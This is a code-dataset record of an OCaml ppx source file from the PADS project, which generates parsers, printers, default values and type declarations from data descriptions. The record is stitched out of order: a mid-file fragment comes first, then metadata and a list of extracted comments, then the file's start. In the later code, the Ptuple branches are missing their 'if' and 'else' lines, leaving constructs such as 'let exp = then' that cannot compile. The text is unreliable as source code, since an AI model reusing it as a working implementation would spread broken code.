| Unnamed past ->
let loc = get_loc past in
[%expr let _ = [%e pads_to_string past] buf ([%e default_rep_gen past],[%e default_md_gen past]) in
[%e acc]][@metaloc loc]
| Named (x,past) ->
let loc = get_loc past in
let ePair = [%expr ([%e exp_make_field_n loc "rep" x],
[%e exp_make_field loc (exp_make_field_n loc "md" "pads_data") (pads_md_name x)])][@metaloc loc] in
[%expr
let [%p pat_make_var loc (pads_manifest_name x)] = [%e pads_manifest past] [%e ePair] in
let _ = Buffer.add_string buf [%e exp_make_field_n loc (pads_manifest_name x) "pads_str"] in
[%e acc]][@metaloc loc]
) rlist end_exp
in
[%expr let buf = Buffer.create 1024 in
[%e final_exp]][@metaloc loc]
| Pdatatype vlist ->
let failCase =
{pc_lhs = Pat.any ~loc ();
pc_guard = None;
pc_rhs = [%expr failwith "PADS Error: Rep and metadata type don't match for loaded pdatatype"][@metaloc loc]}
in
let clist =
List.fold_right (fun (name,past) acc ->
{pc_lhs = [%pat? ([%p pat_make_construct loc ~pat:(pat_make_var loc "rep") name],
[%p pat_make_construct loc ~pat:(pat_make_var loc "md") (pads_md_name name)])][@metaloc loc];
pc_guard = None;
pc_rhs = [%expr let mani = [%e pads_manifest past] (rep,md) in
{ mani with pads_manifest = [%e exp_make_construct loc ~exp:(exp_make_ident loc "mani") (pads_manifest_name name)]}][@metaloc loc] ;
} :: acc
) vlist [failCase]
in
exp_make_match loc ([%expr (rep,md.pads_data)][@metaloc loc]) clist
| Ptuple (p1,p2) ->
let b1 = check_uniticity p1 in
let b2 = check_uniticity p2 in
if b1 && b2 (* Both are unit type *)
then
[%expr
let m1 = [%e pads_manifest p1] ((),[%e default_md_gen p1]) in
let m2 = [%e pads_manifest p2] ((),[%e default_md_gen p2]) in
{ pads_man_errors = m1.pads_man_errors @ m2.pads_man_errors;
pads_str = m1.pads_str ^ m2.pads_str;
pads_manifest = ()}
][@metaloc loc]
else if b1 (* Only p1 is unit type *)
then
[%expr
let m1 = [%e pads_manifest p1] ((),[%e default_md_gen p1]) in
let m2 = [%e pads_manifest p2] (rep,md) in
{ pads_man_errors = m1.pads_man_errors @ m2.pads_man_errors;
pads_str = m1.pads_str ^ m2.pads_str;
pads_manifest = m2.pads_manifest}
][@metaloc loc]
else if b2 (* Only p2 is unit type *)
then
[%expr
let m1 = [%e pads_manifest p1] (rep,md) in
let m2 = [%e pads_manifest p2] ((),[%e default_md_gen p2]) in
{ pads_man_errors = m1.pads_man_errors @ m2.pads_man_errors;
pads_str = m1.pads_str ^ m2.pads_str;
pads_manifest = m1.pads_manifest}
][@metaloc loc]
else (* Neither are unit type, so we don't wanna throw away either *)
let rec aggreg name op n =
let agg = aggreg name op in
if n > 1
then [%expr [%e op] [%e agg (n-1)] [%e exp_make_field_n loc (Printf.sprintf "man%d" n) name]][@metaloc loc]
else exp_make_field_n loc (Printf.sprintf "man%d" n) name
in
let plist = listify_tuple past in
let plist = List.rev @@ fst @@ List.fold_left (fun (acc,n) p -> ((p,n)::acc),(n+1)) ([],1) plist in
let tlist = List.filter (fun (p,_) -> not @@ check_uniticity p) plist in
let repT = pat_make_tup loc @@ List.map (fun (_,n) -> pat_make_var loc @@ Printf.sprintf "rep%d" n) tlist in
let mdT = pat_make_tup loc @@ List.map (fun (_,n) -> pat_make_var loc @@ Printf.sprintf "md%d" n) tlist in
let man =
[%expr
{ pads_man_errors = [%e aggreg "pads_man_errors" ([%expr (@) ][@metaloc loc]) (List.length plist)];
pads_str = [%e aggreg "pads_str" ([%expr (^)][@metaloc loc]) (List.length plist)];
pads_manifest = [%e exp_make_tup loc @@ List.map (fun (_,n) -> exp_make_ident loc @@ Printf.sprintf "man%d" n) tlist]
}][@metaloc loc]
in
let exp =
List.fold_right (fun (past,n) acc ->
if check_uniticity past
then
[%expr
let [%p pat_make_var loc @@ Printf.sprintf "man%d" n] = [%e pads_manifest past] ((),[%e default_md_gen past]) in
[%e acc]][@metaloc loc]
else
[%expr
let [%p pat_make_var loc @@ Printf.sprintf "man%d" n] =
[%e pads_manifest past] ([%e exp_make_ident loc @@ Printf.sprintf "rep%d" n],
[%e exp_make_ident loc @@ Printf.sprintf "md%d" n])
in [%e acc]][@metaloc loc]
) plist man
in
[%expr let ([%p repT],[%p mdT]) = (rep,md.pads_data) in
[%e exp]
][@metaloc loc]
in
[%expr (fun (rep,md) -> [%e exp])][@metaloc loc]
Generates the OCaml AST from PADS AST
let def_generator loc (plist : (string * pads_node ast) list) : structure =
tlist - type list , llist - let list ( structure items )
let def_gen ((name,past) : string * pads_node ast) (tlist,llist) : (type_declaration list * structure) =
let loc = past.loc in
let reps,rep = pads_rep_type_gen past in
let mds, md = pads_md_type_gen past in
let manis, mani = pads_mani_type_gen past in
let rep_decl = typ_make_type_decl loc (pads_rep_name name) ~manifest:rep in
let md_decl = typ_make_type_decl loc (pads_md_name name) ~manifest:md in
let mani_decl = typ_make_type_decl loc (pads_manifest_name name) ~manifest:mani in
let new_tlist = manis @ [mani_decl] @ reps @ [rep_decl] @ mds @ [md_decl] @ tlist in
let def_rep = default_rep_gen past in
let def_md = default_md_gen past in
let default_rep =
[%stri
let [%p pat_make_var loc (pads_default_rep_name name)] = [%e def_rep]
][@metaloc loc] in
let default_md =
[%stri
let [%p pat_make_var loc (pads_default_md_name name)] = [%e def_md]
][@metaloc loc] in
let parse_s_typ =
[%type: ([%t typ_make_constr loc (pads_rep_name name)],[%t typ_make_constr loc (pads_md_name name)]) PadsParser.pads_parser
][@metaloc loc] in
let parse_typ =
[%type: filepath -> ([%t typ_make_constr loc (pads_rep_name name)] * [%t typ_make_constr loc (pads_md_name name)])
][@metaloc loc] in
let parse_s =
[%stri let [%p pat_make_var loc (pads_parse_s_name name)] : [%t parse_s_typ] = [%e parse_gen past]
][@metaloc loc]
in
let parse =
[%stri let [%p pat_make_var loc (pads_parse_name name)] : [%t parse_typ] =
PadsParser.pads_load [%e def_rep] [%e def_md] [%e exp_make_ident loc (pads_parse_s_name name)]
][@metaloc loc]
in
let to_buffer_typ =
[%type: Buffer.t -> ([%t typ_make_constr loc (pads_rep_name name)] * [%t typ_make_constr loc (pads_md_name name)]) -> unit
][@metaloc loc] in
let to_string_typ =
[%type: ([%t typ_make_constr loc (pads_rep_name name)] * [%t typ_make_constr loc (pads_md_name name)]) -> string
][@metaloc loc] in
let to_buffer =
[%stri let [%p pat_make_var loc (pads_to_buffer_name name)] : [%t to_buffer_typ] = [%e pads_to_string past]
][@metaloc loc]
in
let to_string =
[%stri let [%p pat_make_var loc (pads_to_string_name name)] : [%t to_string_typ] =
(fun (rep,md) ->
let buf = Buffer.create 1024 in
let _ = [%e exp_make_ident loc (pads_to_buffer_name name)] buf (rep,md) in
Buffer.contents buf)
][@metaloc loc]
in
let mani_typ =
[%type: ([%t typ_make_constr loc (pads_rep_name name)] * [%t typ_make_constr loc (pads_md_name name)]) ->
[%t typ_make_constr loc (pads_manifest_name name)]][@metaloc loc] in
let manifest =
[%stri let [%p pat_make_var loc (pads_manifest_name name)] : [%t mani_typ] = [%e pads_manifest past]
][@metaloc loc]
in
new_tlist, (manifest :: to_buffer :: to_string :: default_rep :: default_md :: parse_s :: parse :: llist)
in
let types, lets = List.fold_right def_gen plist ([], []) in
(Str.type_ ~loc Recursive types) :: lets
| null | https://raw.githubusercontent.com/padsproj/opads/bb9a380e73ea68954b30acf785294f95004ffcfb/ppx/ppx_pads_lib.ml | ocaml | Helper functions
Main functions
Both are unit type
Only p1 is unit type
Only p2 is unit type
Neither are unit type, so we don't wanna throw away either
Both are unit type
Only p1 is unit type
Only p2 is unit type
Neither are unit type, so we don't wanna throw away either
Both are unit type
Only p1 is unit type
Only p2 is unit type
Neither are unit type, so we don't wanna throw away either
Both are unit type
Only p1 is unit type
Only p2 is unit type
Neither are unit type, so we don't wanna throw away either
Both are unit type
Only p1 is unit type
Only p2 is unit type
Neither are unit type, so we don't wanna throw away either
Both are unit type
Only p1 is unit type
Only p2 is unit type
Neither are unit type, so we don't wanna throw away either
Both are unit type
Only p1 is unit type
Only p2 is unit type
Neither are unit type, so we don't wanna throw away either
Both are unit type
Only p1 is unit type
Only p2 is unit type
Neither are unit type, so we don't wanna throw away either | open Asttypes
open Parsetree
open Pads_types
open Ast_helper
open Utility
let rec check_uniticity (past : pads_node ast) : bool =
let (e,loc) = get_NaL past in
match e with
| Pint
| Pfloat
| Pstring _
| Pconst (PFRE _)
| Ppred _
| Plist _
| Precord _
| Pdatatype _ -> false
| Pconst _ -> true
| Ptuple (p1,p2) -> check_uniticity p1 && check_uniticity p2
| Pvar x ->
if Hashtbl.mem padsUnitTbl x
then Hashtbl.find padsUnitTbl x
else raise_loc_err loc (Printf.sprintf "Pads description %s not defined" x)
let rec listify_tuple (past : pads_node ast) : pads_node ast list =
let (e,loc) = get_NaL past in
match e with
| Ptuple (p1,p2) -> p1 :: (listify_tuple p2)
| _ -> [past]
let pf_converter (loc : loc) : pads_fixed -> Parsetree.expression = function
| PFInt n -> [%expr PTI [%e exp_make_int loc n]][@metaloc loc]
| PFStr s -> [%expr PTS [%e exp_make_string loc s]][@metaloc loc]
| PFRE s -> [%expr PTRE [%e exp_make_ocaml loc s]][@metaloc loc]
| PFEOF -> [%expr PTEOF][@metaloc loc]
let rec parse_gen (past : pads_node ast) : Parsetree.expression =
let (e,loc) = get_NaL past in
match e with
| Pint -> [%expr PadsParser.parse_int][@metaloc loc]
| Pfloat -> [%expr PadsParser.parse_float][@metaloc loc]
| Pstring t -> [%expr PadsParser.parse_pstring [%e pf_converter loc t]][@metaloc loc]
| Pconst (PFRE re) -> [%expr PadsParser.parse_regex [%e exp_make_ocaml loc re]][@metaloc loc]
| Pconst t -> [%expr PadsParser.parse_string [%e pf_converter loc t]][@metaloc loc]
| Pvar x -> exp_make_ident loc (pads_parse_s_name x)
| Ppred(x,past,cond) ->
let repp,mdp = (pat_make_var loc x),(pat_make_var loc (pads_md_name x)) in
let repe,mde = (exp_make_ident loc x),(exp_make_ident loc (pads_md_name x)) in
[%expr (fun state ->
let ([%p repp],[%p mdp],state) = [%e parse_gen past] state in
if [%e exp_make_ocaml loc cond]
then ([%e repe],[%e mde],state)
else
let this_md = [%e mde] in
([%e repe],
{this_md with
pads_num_errors = this_md.pads_num_errors + 1;
pads_error_msg = "Predicate failure" :: this_md.pads_error_msg;
}, state)
)][@metaloc loc]
| Plist(past,sep,term) ->
[%expr PadsParser.parse_list [%e parse_gen past] [%e pf_converter loc sep] [%e pf_converter loc term]][@metaloc loc]
| Precord(rlist) ->
let named_rlist = List.filter (fun re ->
match re with
| Unnamed _ -> false
| Named _ -> true
) rlist
in
let named_rlist = List.map (fun re ->
match re with
| Unnamed _ -> raise_loc_err loc "Precord parsing: Filter didn't work properly."
| Named (x,past) -> (x,past)
) named_rlist
in
let rep_assgn = List.map (fun (lbli,_) -> lbli,lbli) named_rlist in
let md_assgn = List.map (fun (lbli,_) -> (pads_md_name lbli),(pads_md_name lbli)) named_rlist in
let numErr = List.fold_left (fun acc (lbli,_) ->
[%expr [%e exp_make_field_n loc (pads_md_name lbli) "pads_num_errors"] + [%e acc]][@metaloc loc]
) ([%expr rest_md.pads_num_errors][@metaloc loc]) named_rlist
in
let errMsg = List.fold_left (fun acc (lbli,_) ->
[%expr [%e exp_make_field_n loc (pads_md_name lbli) "pads_error_msg"] @ [%e acc] ][@metaloc loc]
) ([%expr rest_md.pads_error_msg][@metaloc loc]) named_rlist
in
let extra = List.fold_left (fun acc (lbli,_) ->
[%expr [%e exp_make_field_n loc (pads_md_name lbli) "pads_extra"] @ [%e acc] ][@metaloc loc]
) ([%expr rest_md.pads_extra][@metaloc loc]) named_rlist
in
let init_exp =
[%expr let (r,m) =
([%e exp_make_record_s loc rep_assgn],
{ pads_num_errors = [%e numErr];
pads_error_msg = [%e errMsg];
pads_data = [%e exp_make_record_s loc md_assgn] ;
pads_extra = [%e extra] })
in (r,m,state)][@metaloc loc]
in
let final_exp =
List.fold_right
(fun re acc ->
match re with
| Unnamed past ->
[%expr let (this,this_md,state) = [%e parse_gen past] state in
let rest_md =
{ pads_num_errors = rest_md.pads_num_errors + this_md.pads_num_errors;
pads_error_msg = rest_md.pads_error_msg @ this_md.pads_error_msg;
pads_data = ();
pads_extra = rest_md.pads_extra @ this_md.pads_extra }
in
[%e acc]
][@metaloc loc]
| Named (x,past) ->
let names = [%pat? ([%p pat_make_var loc x],[%p pat_make_var loc (pads_md_name x)],state)][@metaloc loc] in
[%expr let [%p names] = [%e parse_gen past] state in
[%e acc]][@metaloc loc]
)
rlist init_exp
in
[%expr (fun state ->
let rest_md = Pads.empty_md () in
[%e final_exp]
)][@metaloc loc]
| Pdatatype vlist ->
let nvlist = List.map (fun (name,past) -> (name,parse_gen past)) vlist in
let split_list l =
match List.rev l with
| [] -> raise_loc_err loc "Parse_gen: Should be impossible for a datatype to not have any variants"
| hd :: tl -> (hd,List.rev tl)
in
let ((name,e),nvlist) = split_list nvlist in
let init =
[%expr let (rep,md,ns) = [%e e] state in
([%e exp_make_construct loc ~exp:(exp_make_ident loc "rep") name],
{ md with pads_data = [%e exp_make_construct loc ~exp:(exp_make_ident loc "md") (pads_md_name name)]},
ns)][@metaloc loc]
in
let final_exp =
List.fold_right (fun (name,e) acc ->
[%expr let (rep,md,ns) = [%e e] state in
if md.pads_num_errors = 0
then
([%e exp_make_construct loc ~exp:(exp_make_ident loc "rep") name],
{ md with pads_data = [%e exp_make_construct loc ~exp:(exp_make_ident loc "md") (pads_md_name name)]},
ns)
else [%e acc]][@metaloc loc]
) nvlist init
in
[%expr (fun state ->
[%e final_exp]
)][@metaloc loc]
| Ptuple (p1,p2) ->
let b1 = check_uniticity p1 in
let b2 = check_uniticity p2 in
let exp =
then
[%expr
let (rep1,md1,state) = [%e parse_gen p1] state in
let (rep2,md2,state) = [%e parse_gen p2] state in
((),
{pads_num_errors = md1.pads_num_errors + md2.pads_num_errors;
pads_error_msg = md1.pads_error_msg @ md2.pads_error_msg;
pads_data = ();
pads_extra = md1.pads_extra @ md2.pads_extra;
},
state)
][@metaloc loc]
then
[%expr
let (rep1,md1,state) = [%e parse_gen p1] state in
let (rep2,md2,state) = [%e parse_gen p2] state in
(rep2,
{pads_num_errors = md1.pads_num_errors + md2.pads_num_errors;
pads_error_msg = md1.pads_error_msg @ md2.pads_error_msg;
pads_data = md2.pads_data;
pads_extra = md1.pads_extra @ md2.pads_extra;
},
state)
][@metaloc loc]
then
[%expr
let (rep1,md1,state) = [%e parse_gen p1] state in
let (rep2,md2,state) = [%e parse_gen p2] state in
(rep1,
{pads_num_errors = md1.pads_num_errors + md2.pads_num_errors;
pads_error_msg = md1.pads_error_msg @ md2.pads_error_msg;
pads_data = md1.pads_data;
pads_extra = md1.pads_extra @ md2.pads_extra;
},
state)
][@metaloc loc]
let rec aggreg name op n =
let agg = aggreg name op in
if n > 1
then [%expr [%e op] [%e agg (n-1)] [%e exp_make_field_n loc (Printf.sprintf "md%d" n) name]][@metaloc loc]
else exp_make_field_n loc (Printf.sprintf "md%d" n) name
in
let plist = listify_tuple past in
let plist = List.rev @@ fst @@ List.fold_left (fun (acc,n) p -> ((p,n)::acc),(n+1)) ([],1) plist in
let tlist = List.filter (fun (p,_) -> not (check_uniticity p)) plist in
let rep = exp_make_tup loc @@ List.map (fun (_,n) -> exp_make_ident loc @@ Printf.sprintf "rep%d" n) tlist in
let md =
[%expr
{ pads_num_errors = [%e aggreg "pads_num_errors" ([%expr (+) ][@metaloc loc]) (List.length plist)];
pads_error_msg = [%e aggreg "pads_error_msg" ([%expr (@)][@metaloc loc]) (List.length plist)];
pads_data = [%e exp_make_tup loc @@ List.map (fun (_,n) -> exp_make_ident loc @@ Printf.sprintf "md%d" n) tlist];
pads_extra = [%e aggreg "pads_extra" ([%expr (@)][@metaloc loc]) (List.length plist)];
}][@metaloc loc]
in
let init =
[%expr
([%e rep],[%e md],state)][@metaloc loc]
in
List.fold_right (fun (past,n) acc ->
let names = [%pat? ([%p pat_make_var loc @@ Printf.sprintf "rep%d" n],
[%p pat_make_var loc @@ Printf.sprintf "md%d" n],
state)][@metaloc loc]
in
[%expr let [%p names] = [%e parse_gen past] state in
[%e acc]][@metaloc loc]
) plist init
in
[%expr (fun state ->
[%e exp]
)][@metaloc loc]
let rec default_rep_gen (past : pads_node ast) : Parsetree.expression =
let (e,loc) = get_NaL past in
match e with
| Pint -> [%expr 0]
| Pfloat -> [%expr 0.0]
| Pstring _ -> [%expr ""]
| Pconst (PFRE re) ->
[%expr match [%e exp_make_ocaml loc re] with
| RE _ -> ""
| REd (_,d) -> d][@metaloc loc]
| Pconst _ -> [%expr ()] [@metaloc loc]
| Pvar x -> exp_make_ident loc (pads_default_rep_name x)
| Ppred (_,past,_) -> default_rep_gen past
| Precord(rlist) ->
let fields =
List.fold_right (fun re fields ->
match re with
| Unnamed _ -> fields
| Named (x,past) -> (x,default_rep_gen past) :: fields) rlist []
in
if fields = []
then [%expr ()] [@metaloc loc]
else exp_make_record loc fields
| Plist(past,_,t) ->
begin
match t with
| PFInt n ->
let def = default_rep_gen past in
let rec gen_default n =
if n <= 0 then [%expr []][@metaloc loc]
else [%expr [%e def] :: [%e gen_default (n-1)]][@metaloc loc]
in
gen_default n
| _ -> [%expr []][@metaloc loc]
end
| Ptuple (p1,p2) ->
let b1 = check_uniticity p1 in
let b2 = check_uniticity p2 in
then [%expr ()][@metaloc loc]
then default_rep_gen p2
then default_rep_gen p1
let plist = listify_tuple past in
let plist = List.filter (fun p -> not @@ check_uniticity p) plist in
let elist = List.map default_rep_gen plist in
exp_make_tup loc elist
| Pdatatype vlist ->
match vlist with
| (name,past)::_ -> exp_make_construct loc ~exp:(default_rep_gen past) name
| [] -> raise_loc_err loc "default_rep_gen: Should be impossible for a datatype to not have any variants"
let rec default_md_gen (past : pads_node ast) : Parsetree.expression =
let (e,loc) = get_NaL past in
match e with
| Pint
| Pfloat
| Pstring _
| Pconst _ -> [%expr Pads.empty_md ()][@metaloc loc]
| Pvar x -> exp_make_ident loc (pads_default_md_name x)
| Ppred (_,past,_) -> default_md_gen past
| Precord(rlist) ->
let fields =
List.fold_right (fun re fields ->
match re with
| Unnamed _ -> fields
| Named (x,past) -> (pads_md_name x,default_md_gen past) :: fields) rlist []
in
if fields = []
then [%expr Pads.empty_md ()] [@metaloc loc]
else [%expr Pads.empty_md [%e exp_make_record loc fields]][@metaloc loc]
| Plist(past,_,t) ->
begin
match t with
| PFInt n ->
let def = default_md_gen past in
let rec gen_default n =
if n <= 0 then [%expr []][@metaloc loc]
else [%expr [%e def] :: [%e gen_default (n-1)]][@metaloc loc]
in
[%expr Pads.empty_md ([%e gen_default n])][@metaloc loc]
| _ -> [%expr Pads.empty_md []][@metaloc loc]
end
| Ptuple (p1,p2) ->
let b1 = check_uniticity p1 in
let b2 = check_uniticity p2 in
then [%expr Pads.empty_md ()][@metaloc loc]
then default_md_gen p2
then default_md_gen p1
let plist = listify_tuple past in
let plist = List.filter (fun p -> not @@ check_uniticity p) plist in
let elist = List.map default_md_gen plist in
[%expr Pads.empty_md [%e exp_make_tup loc elist]][@metaloc loc]
| Pdatatype vlist ->
match vlist with
| (name,past)::_ -> [%expr Pads.empty_md [%e exp_make_construct loc ~exp:(default_md_gen past) (pads_md_name name)]][@metaloc loc]
| [] -> raise_loc_err loc "default_rep_gen: Should be impossible for a datatype to not have any variants"
let rec pads_rep_type_gen (past : pads_node ast) : (type_declaration list * core_type) =
let (e,loc) = get_NaL past in
match e with
| Pint -> [], [%type: int][@metaloc loc]
| Pfloat -> [], [%type : float][@metaloc loc]
| Pstring _
| Pconst (PFRE _) -> [], [%type: string] [@metaloc loc]
| Pconst _ -> [], [%type: unit] [@metaloc loc]
| Ppred (_,past,_) -> pads_rep_type_gen past
| Pvar(vname) -> [], typ_make_constr loc (pads_rep_name vname)
| Plist(past,_,_) ->
let decli,typi = pads_rep_type_gen past in
(decli,[%type: [%t typi] list][@metaloc loc])
| Precord (rlist) ->
let decls,fields =
List.fold_right (fun re (decls,fields) ->
match re with
| Unnamed _ -> (decls,fields)
| Named (x,past) ->
let decli, typi = pads_rep_type_gen past in
let fieldi = typ_make_field loc x typi in
(decli@decls, fieldi::fields)) rlist ([],[])
in
if fields = []
then decls,[%type: unit][@metaloc loc]
else
let name = fresh () in
let recType = typ_make_type_decl loc ~kind:(Ptype_record fields) name in
(decls @ [recType], typ_make_constr loc name)
| Pdatatype vlist ->
let decls,clist = List.fold_right (fun (name,past) (decls, clist) ->
let decli, typi = pads_rep_type_gen past in
let constr = typ_make_variant loc name ~args:(Pcstr_tuple [typi]) in
decli@decls,constr::clist
) vlist ([],[])
in
let name = fresh () in
let vdecl = typ_make_type_decl loc ~kind:(Ptype_variant clist) name in
(decls @ [vdecl], typ_make_constr loc name)
| Ptuple(p1,p2) ->
let b1 = check_uniticity p1 in
let b2 = check_uniticity p2 in
then [], [%type: unit] [@metaloc loc]
then pads_rep_type_gen p2
then pads_rep_type_gen p1
let plist = listify_tuple past in
let plist = List.filter (fun p -> not @@ check_uniticity p) plist in
let (dlist,tlist) = List.fold_right (fun past (dlist,tlist) ->
let d1,t1 = pads_rep_type_gen past in
(d1 @ dlist),(t1::tlist)
) plist ([],[])
in
dlist,typ_make_tup loc tlist
let rec pads_mani_type_gen (past : pads_node ast) : (type_declaration list * core_type) =
let (e,loc) = get_NaL past in
match e with
| Pint
| Pfloat
| Pstring _
| Pconst _ -> [], [%type: unit Pads.padsManifest][@metaloc loc]
| Ppred (_,past,_) -> pads_mani_type_gen past
| Pvar(vname) -> [], typ_make_constr loc (pads_manifest_name vname)
| Plist(past,_,_) ->
let decli,typi = pads_mani_type_gen past in
(decli,[%type: ([%t typi] list) Pads.padsManifest][@metaloc loc])
| Precord (rlist) ->
let decls,fields =
List.fold_right (fun re (decls,fields) ->
match re with
| Unnamed _ -> (decls,fields)
| Named (x,past) ->
let decli, typi = pads_mani_type_gen past in
let fieldi = typ_make_field loc (pads_manifest_name x) typi in
(decli@decls, fieldi::fields)) rlist ([],[])
in
if fields = []
then decls,[%type: unit Pads.padsManifest][@metaloc loc]
else
let name = fresh () in
let recType = typ_make_type_decl loc ~kind:(Ptype_record fields) name in
(decls @ [recType], [%type: [%t typ_make_constr loc name] Pads.padsManifest ][@metaloc loc])
| Pdatatype vlist ->
let decls,clist = List.fold_right (fun (name,past) (decls, clist) ->
let decli, typi = pads_mani_type_gen past in
let constr = typ_make_variant loc (pads_manifest_name name) ~args:(Pcstr_tuple [typi]) in
decli@decls,constr::clist
) vlist ([],[])
in
let name = fresh () in
let vdecl = typ_make_type_decl loc ~kind:(Ptype_variant clist) name in
(decls @ [vdecl], [%type: [%t typ_make_constr loc name] Pads.padsManifest][@metaloc loc])
| Ptuple (p1,p2) ->
let b1 = check_uniticity p1 in
let b2 = check_uniticity p2 in
then [], [%type: unit Pads.padsManifest] [@metaloc loc]
then pads_mani_type_gen p2
then pads_mani_type_gen p1
let plist = listify_tuple past in
let plist = List.filter (fun p -> not @@ check_uniticity p) plist in
let (dlist,tlist) = List.fold_right (fun past (dlist,tlist) ->
let d1,t1 = pads_mani_type_gen past in
(d1 @ dlist),(t1::tlist)
) plist ([],[])
in
dlist,[%type: [%t typ_make_tup loc tlist] Pads.padsManifest]
let rec pads_md_type_gen (past : pads_node ast) : (type_declaration list * core_type) =
let (e,loc) = get_NaL past in
match e with
| Pint
| Pfloat
| Pstring _
| Pconst _ -> [], [%type: unit Pads.pads_md][@metaloc loc]
| Ppred (_,past,_) -> pads_md_type_gen past
| Pvar(vname) -> [], typ_make_constr loc (pads_md_name vname)
| Plist(past,_,_) ->
let decli,typi = pads_md_type_gen past in
(decli,[%type: ([%t typi] list) Pads.pads_md ][@metaloc loc])
| Precord (rlist) ->
let decls,fields =
List.fold_right (fun re (decls,fields) ->
match re with
| Unnamed _ -> (decls,fields)
| Named (x,past) ->
let decli, typi = pads_md_type_gen past in
let fieldi = typ_make_field loc (pads_md_name x) typi in
(decli@decls, fieldi::fields)) rlist ([],[])
in
if fields = []
then decls,[%type: unit Pads.pads_md][@metaloc loc]
else
let name = fresh () in
let recType = typ_make_type_decl loc ~kind:(Ptype_record fields) name in
(decls @ [recType], [%type: [%t typ_make_constr loc name] Pads.pads_md ][@metaloc loc])
| Pdatatype vlist ->
let decls,clist = List.fold_right (fun (name,past) (decls, clist) ->
let decli, typi = pads_md_type_gen past in
let constr = typ_make_variant loc (pads_md_name name) ~args:(Pcstr_tuple [typi]) in
decli@decls,constr::clist
) vlist ([],[])
in
let name = fresh () in
let vdecl = typ_make_type_decl loc ~kind:(Ptype_variant clist) name in
(decls @ [vdecl], [%type: [%t typ_make_constr loc name] Pads.pads_md][@metaloc loc])
| Ptuple (p1,p2) ->
let b1 = check_uniticity p1 in
let b2 = check_uniticity p2 in
then [], [%type: unit Pads.pads_md] [@metaloc loc]
then pads_md_type_gen p2
then pads_md_type_gen p1
let plist = listify_tuple past in
let plist = List.filter (fun p -> not @@ check_uniticity p) plist in
let (dlist,tlist) = List.fold_right (fun past (dlist,tlist) ->
let d1,t1 = pads_md_type_gen past in
(d1 @ dlist),(t1::tlist)
) plist ([],[])
in
dlist,[%type: [%t typ_make_tup loc tlist] Pads.pads_md]
let rec pads_to_string (past : pads_node ast) : Parsetree.expression =
let (e,loc) = get_NaL past in
let exp =
match e with
| Pint -> [%expr Buffer.add_string buf @@ string_of_int rep][@metaloc loc]
| Pfloat -> [%expr Buffer.add_string buf @@ string_of_float rep][@metaloc loc]
| Pstring (PFStr s) -> [%expr Buffer.add_string buf rep; Buffer.add_string buf [%e exp_make_string loc s]][@metaloc loc]
| Pstring (PFRE re) -> [%expr Buffer.add_string buf rep][@metaloc loc]
| Pstring _ -> [%expr Buffer.add_string buf rep][@metaloc loc]
| Pconst (PFInt n) -> [%expr Buffer.add_string buf [%e exp_make_string loc (string_of_int n)]][@metaloc loc]
| Pconst (PFStr s) -> [%expr Buffer.add_string buf [%e exp_make_string loc s]][@metaloc loc]
| Pconst (PFRE _) -> [%expr Buffer.add_string buf rep][@metaloc loc]
| Pconst PFEOF -> [%expr ()][@metaloc loc]
| Ppred (_,past,_) -> [%expr [%e pads_to_string past] buf (rep,md)][@metaloc loc]
| Pvar(vname) -> [%expr [%e exp_make_ident loc (pads_to_buffer_name vname)] buf (rep,md)][@metaloc loc]
| Plist(past,sep,term) ->
let s = match term with
| PFEOF
| PFInt _ -> exp_make_string loc ""
| PFRE re -> default_rep_gen @@ mk_ast loc (Pconst (PFRE re))
| PFStr s -> exp_make_string loc s
in
[%expr PadsParser.list_to_buf [%e pads_to_string past] [%e pf_converter loc sep] buf (rep,md.pads_data);
Buffer.add_string buf [%e s]][@metaloc loc]
| Precord (rlist) ->
List.fold_right (fun re acc ->
match re with
| Unnamed past ->
let loc = get_loc past in
[%expr [%e pads_to_string past] buf ([%e default_rep_gen past],[%e default_md_gen past]);
[%e acc]][@metaloc loc]
| Named (x,past) ->
let loc = get_loc past in
[%expr [%e pads_to_string past] buf
([%e exp_make_field_n loc "rep" x],[%e exp_make_field loc (exp_make_field_n loc "md" "pads_data") (pads_md_name x)]);
[%e acc]][@metaloc loc]
) rlist [%expr ()][@metaloc loc]
| Pdatatype vlist ->
let failCase =
{pc_lhs = Pat.any ~loc ();
pc_guard = None;
pc_rhs = [%expr failwith "PADS Error: Rep and metadata type don't match for loaded pdatatype"][@metaloc loc]}
in
let clist =
List.fold_right (fun (name,past) acc ->
{pc_lhs = [%pat? ([%p pat_make_construct loc ~pat:(pat_make_var loc "rep") name],
[%p pat_make_construct loc ~pat:(pat_make_var loc "md") (pads_md_name name)])][@metaloc loc];
pc_guard = None;
pc_rhs = [%expr [%e pads_to_string past] buf (rep,md)][@metaloc loc] ;
} :: acc
) vlist [failCase]
in
exp_make_match loc ([%expr (rep,md.pads_data)][@metaloc loc]) clist
| Ptuple (p1,p2) ->
let b1 = check_uniticity p1 in
let b2 = check_uniticity p2 in
then
[%expr [%e pads_to_string p1] buf ((),[%e default_md_gen p1]);
[%e pads_to_string p2] buf ((),[%e default_md_gen p2])
][@metaloc loc]
then
[%expr [%e pads_to_string p1] buf ((),[%e default_md_gen p1]);
[%e pads_to_string p2] buf (rep,md)
][@metaloc loc]
then
[%expr [%e pads_to_string p1] buf (rep,md);
[%e pads_to_string p2] buf ((),[%e default_md_gen p2])
][@metaloc loc]
let plist = listify_tuple past in
let plist = List.rev @@ fst @@ List.fold_left (fun (acc,n) p -> ((p,n)::acc),(n+1)) ([],1) plist in
let tlist = List.filter (fun (p,_) -> not @@ check_uniticity p) plist in
let repT = pat_make_tup loc @@ List.map (fun (_,n) -> pat_make_var loc @@ Printf.sprintf "rep%d" n) tlist in
let mdT = pat_make_tup loc @@ List.map (fun (_,n) -> pat_make_var loc @@ Printf.sprintf "md%d" n) tlist in
let exp =
List.fold_right (fun (past,n) acc ->
if check_uniticity past
then
[%expr [%e pads_to_string past] buf ((),[%e default_md_gen past]);
[%e acc]][@metaloc loc]
else
[%expr [%e pads_to_string past] buf ([%e exp_make_ident loc @@ Printf.sprintf "rep%d" n],
[%e exp_make_ident loc @@ Printf.sprintf "md%d" n]);
[%e acc]][@metaloc loc]
) plist @@ [%expr ()][@metaloc loc]
in
[%expr let ([%p repT],[%p mdT]) = (rep,md.pads_data) in
[%e exp]
][@metaloc loc]
in
[%expr (fun buf (rep,md) -> [%e exp])][@metaloc loc]
let rec pads_manifest (past : pads_node ast) : Parsetree.expression =
let (e,loc) = get_NaL past in
let exp =
match e with
| Pint -> [%expr Pads.make_mani (string_of_int rep) ()][@metaloc loc]
| Pfloat -> [%expr Pads.make_mani (string_of_float rep) ()][@metaloc loc]
